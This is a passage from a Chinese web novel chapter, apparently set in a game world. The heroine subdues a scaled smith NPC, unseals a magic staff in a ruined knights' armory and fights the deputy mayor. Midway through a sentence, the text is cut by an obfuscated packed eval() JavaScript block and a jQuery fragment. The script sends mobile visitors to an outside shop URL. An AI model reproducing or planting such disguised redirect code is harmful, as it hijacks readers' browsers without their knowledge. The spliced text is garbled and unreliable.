直到走近了,辛婳才发现山族人的形貌的独特。
维恩的身形低矮,宛如人类幼童。
但若是看他的脸,眼角的细纹、下撇的嘴角,这的确是成年人的相貌无疑。
除去身高之外,他的皮肤也不同于人类。
他露出来的手部覆盖着青色的鳞甲,指甲尖锐,甚至隐隐泛着金属光泽。
这家伙……不好对付啊。
一衣架下去能敲晕吗?
维恩目前没有发现她,还在迷茫地游荡。但他毕竟还没有理智,无法沟通,必须先制服才行。
辛婳思忖片刻,有了主意。
她提前找好位置埋伏,伏低身体,等到维恩靠近,找准时机,猛地抡起挂衣杆,贴地一扫!
突如其来的力道击中维恩的膝窝,让他身子一歪,一下子就往前面扑去。
然后辛婳又快步向前,膝盖顶住维恩的后背把他死死往地面压,甚至还从背包里拿出那块大石头压在维恩背上。
这下对方短时间就很难脱困了。
辛婳正想要再给对方一点刺激,助力他快速恢复神智,却没想到不久前的头痛却毫无征兆地再一次席卷而来。
该死……!
辛婳捂住脑袋,低低的痛呼从她齿间溢出。
时间仿佛被拉得极长。这样煎熬着不知过了多久,疼痛才逐渐平息。
辛婳脸色泛白,颤抖着手抹去了额头上的冷汗。
与此同时,被她压制住的维恩也传来了动静。
辛婳立马抓紧挂衣杆,警惕起来。
熟料对方却只是缓缓背过手,试探地摸了摸自己背上那块大石头。
“这是……什么?”
“你清醒了?”辛婳试探问道,“你叫什么名字?”
“……维恩。”
辛婳慢慢放开了对维恩的压制,收起石头,但手上仍然紧握着挂衣杆。
维恩也缓缓从地上爬起来,抬头看向辛婳。
“圣女殿下……多谢。”维恩认真道。
辛婳没有回应。
如果只是诺兰这样称呼,倒还有巧合的可能,但眼前的维恩也这样叫,就有些耐人寻味了。
辛婳又联想起两人恢复神智和自己突然的头痛,心里有了不太妙的预感。
不过她面上仍然不动声色,只是言简意赅道:“听说你会锻造武器。”
维恩点头:“是。”
“我现在需要一把趁手的武器,你能帮我吗?”辛婳问。
维恩摇头:“没有材料。”
辛婳有些失望,维恩又补充道:“可以……找现成的。”
“去哪找?”
“骑士团。”
辛婳再次动身时,手上便多了一份去往骑士团的简易地图,和骑士团内部的路线图。
维恩的指甲能够分泌出一种有颜色的物质,这是他画下来交给辛婳的。
骑士团是维恩的大主顾,维恩也常去骑士团进行武器交易和维护,因此对其十分熟悉。
辛婳根据维恩给出的情报,小心绕开徘徊的其他NPC,顺利来到了骑士团驻地。
这是一栋二层小楼,但它的第二层已然坍塌了大半,残砖碎瓦落了满地。
就连骑士团的徽章也裂成两半,一半摇摇欲坠地挂在一楼大门上方,另一半已经掉在地上,碎成几块。
辛婳推了推正门,但门框已经变形卡死。
于是辛婳便另辟蹊径,抡起挂衣杆便敲碎了最近的一扇玻璃窗。
“哗啦!”
碎裂声响起,玻璃四溅。辛婳扫了扫窗沿的玻璃碎渣,翻身跳入室内。
她环视了一圈,这里似乎是走廊,两侧有紧闭的门。
空气里弥漫着灰尘和腐朽的气味。
辛婳拿起地图,对比了自己所在的方位之后,便向维恩所指示的武器库前进。
“砰!”
尘封多年的门再次被人打开。
辛婳提前给自己扎了条布巾蒙面,挡住灰尘,仍被扬起的陈年旧灰蒙了眼。
等到灰尘散去,辛婳才继续往里面看。
这里的光线比较昏暗,辛婳依靠着大门照入的光来观察。
这里就是武器库了。
骑士团的武器是制式的长剑,辛婳拿着试了试。
有些沉,更适合双手握持。
不过辛婳没有着急拿,而是继续往里面看。
角落里还堆积着破损的铠甲。
辛婳倒是还想拿铠甲防身,可惜这里的铠甲没有完好的,破损的铠甲无法防身,反而会减少自身的灵活性。
除去制式长剑,里面也有其他武器。
近一人高的巨剑、弓箭、半臂长的短刀、匕首……种类倒是十分丰富。
或许可以带贺洵他们来这里看看,辛婳想着。
她一路东摸西看,余光却突然瞥见深处有什么东西在发光。
辛婳好奇心起,循着那光芒的方向走去。
很快,她便看清了那光芒的来源。
一柄奇特的武器之上,魔法阵正在运转,散发出微光。
虽然这光芒已经有些微弱,但显然直到小镇破败后的现在,它仍然履行着它的职责。
辛婳来了兴致,伸手想要触碰那柄武器,那魔法阵却光芒一闪,将她弹开。
“这阵法……是封印?”辛婳猜测着。
魔法阵虽然在这柄武器的表面,却并非和它是融为一体的关系。
而是保护或者压制着这柄武器,不让他人随意动用。
“众所周知,好东西才会被上锁。”辛婳微微一笑,“今天我既然来了这里,或许便是和它有些缘分呢?”
辛婳随手去旁边取了一把长剑,一剑便挥砍在魔法阵上!
这一击辛婳未曾收力,但魔法阵依旧挡了下来。
但辛婳已经注意到,它的光芒比方才又黯淡了一分。
“苟延残喘。”辛婳淡笑。
辛婳连续挥剑,直到第十剑挥下,魔法阵再也无法坚持,应声破碎。
辛婳满意一笑,放下长剑,转而拿起了那柄刚刚解封的武器。
这一次,她没有受到任何阻碍。
将它取出之后,辛婳也得以看清了这柄武器的细节。
“这是……法杖?”
这柄武器近一人高,棍状的杖身上有隐约的暗纹。
而它靠近顶部的位置,原本笔直的杖身变为向外放射出光芒的烈日形状,圆形的空洞之中,固定着一枚彩色的晶石。
在这烈日的顶部,放射的光芒形成了类似长矛的尖端。
辛婳仔细地从侧面去看,甚至能看见开刃的锋线。
“的确是件好东西啊。”
这柄法杖中的彩色晶石明显有特殊的作用,辛婳猜测应该是用来施法的。
而它结实的材质、锋利的尖刃,也表明了哪怕是单纯作为近战的武器,它也并不逊色。
辛婳拿住杖身,耍了个花棍。
“不错,趁手。”辛婳满意点头,“就你了。”
她带着自己的战利品离开骑士团,却在正欲离开之时,本能地感觉被人注视。
辛婳敏锐转身,随即眼眸一缩。
骑士团的大门处,正不偏不倚站着一人,目光看向辛婳的方向。
看身形,正是那位副镇长。
辛婳握紧了新得手的武器,心里的警惕达到了最高。
她不见对方有所动作,便开口试探道:“阁下,可有指教?”
副镇长却不答话,只一步步向她走近。
辛婳不确定这是什么意思,但贸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712406|208458||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然跑路也不是什么好选择。
她心一横,举起法杖,尖锐的顶端指向副镇长。
“就此止步。”辛婳冷声警告道。
副镇长是个中年男人,五官深邃,此时眉头微微皱着,泛起细纹。
“那柄法杖,你最好不要使用。”他终于开口。
辛婳挑眉:“那你说个理由。”
“它会带来诅咒。”副镇长道。
辛婳一愣,打开自己的面板,没有看到负面状态。
她没有因为对方的话而慌乱,而是问道:“你如今足够清醒吗?”
副镇长皱眉,没有回答。
但辛婳已经看见对方眼中的迟钝和困惑。
“或许我们应该等你先足够清醒了再谈,你认为呢?”
话音一落,她提杖踏步,迎面攻了上去。
法杖带着呼啸风声,猛地击向男子的颈侧!
副镇长没想到辛婳突然发难,只能条件反射侧抬手臂,挡下这一击。
法杖重重击打在了他的小臂上,辛婳也感受到了对方的力量,眉头一皱。
如她所料,这的确不是一个好对付的对手。
好在,她此时动手,目的并非一定要击败对方。
除了适应这柄新武器,辛婳也有一些别的猜想想要验证。
她继续举杖攻去,仗着武器的长度处于优势的进攻位置。
副镇长只守不攻,要害处防得严密,但其他部位仍添了几处伤。
渐渐地,他像是受到了什么影响,眼里的神色越发混沌,手上的动作也变得迟缓。
辛婳见状,却没有加大攻势,反而放缓动作,仔细观察着对方的变化。
终于,副镇长的身形一个踉跄,单膝重重跪在了地面。
他的头也垂了下来,失去了意识。
辛婳喘着气,收起法杖。
和副镇长的这场单方面的对战,也消耗了她一部分体力。
她正想走近看看副镇长的状态,可还没等她走到对方身前,熟悉的剧烈头痛就再度袭来。
一而再再而三,现在辛婳已经能在这样的疼痛中勉强保留些许思考能力。
如她所料。
NPC受伤昏迷、自己剧烈头痛、NPC恢复神智。
这三件事,果然是有某些联系。
真是……该死。
辛婳的思绪也无法再继续深入,这次的疼痛不知为何比前两次更为剧烈。
宛如她的颅骨之下寄生了某种活物,张牙舞爪地搅弄着内部的组织,鼓胀着肢体想要从皮肉骨头下破土而出。
她拄着法杖,颤着手狼狈地擦去流出的生理性泪水和冷汗。
最后,连那只手也逐渐无力,滑落在了身侧。另一只抓着法杖的手却没有放松半刻。
辛婳跪坐在地,在剧痛中失去了意识。
“……你醒了。”
辛婳迷迷糊糊睁开眼,发现副镇长已经先她一步清醒,站在她面前不远处。
他眼中神色复杂,已然没了之前的迷茫之感。
见辛婳脸上还残留着汗水和泪痕,他默默从自己怀中取出一方手帕,递了过去。
辛婳回过神,讶异地看了他一眼,没想到这人身上随身带着手帕,还很细心。
她没有推拒,接了过来,将脸上的痕迹擦净。
“多谢,手帕我就不还你了。”辛婳道。
她揉了揉脑仍然残留着余痛的太阳穴,从地上站起来,拍拍尘土。
这时她才发现,自己的法杖还在手里,副镇长没有趁着她昏迷把它拿走。
这也让辛婳对副镇长的品行了解了几分。
“看来你已经清醒。”辛婳看向副镇长,缓缓道,“那么关于这个镇子,还有这柄法杖的事情,可以给我详细讲讲了吧?”